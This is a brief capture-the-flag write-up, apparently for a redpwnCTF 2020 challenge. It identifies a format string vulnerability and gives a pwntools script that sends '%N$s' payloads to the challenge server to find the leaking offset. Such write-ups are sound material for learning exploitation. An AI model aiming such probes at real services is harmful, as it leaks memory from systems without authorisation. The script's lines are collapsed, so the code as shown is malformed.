This was a simple format string vulnerability , wrote a simple script to brute force the offset
```from pwn import *
for i in range(10):  s = remote('2020.redpwnc.tf', 31826)  s.recvuntil('?\n')  s.sendline("%"+str(i) + "$s")  response = s.recv()  print(response)```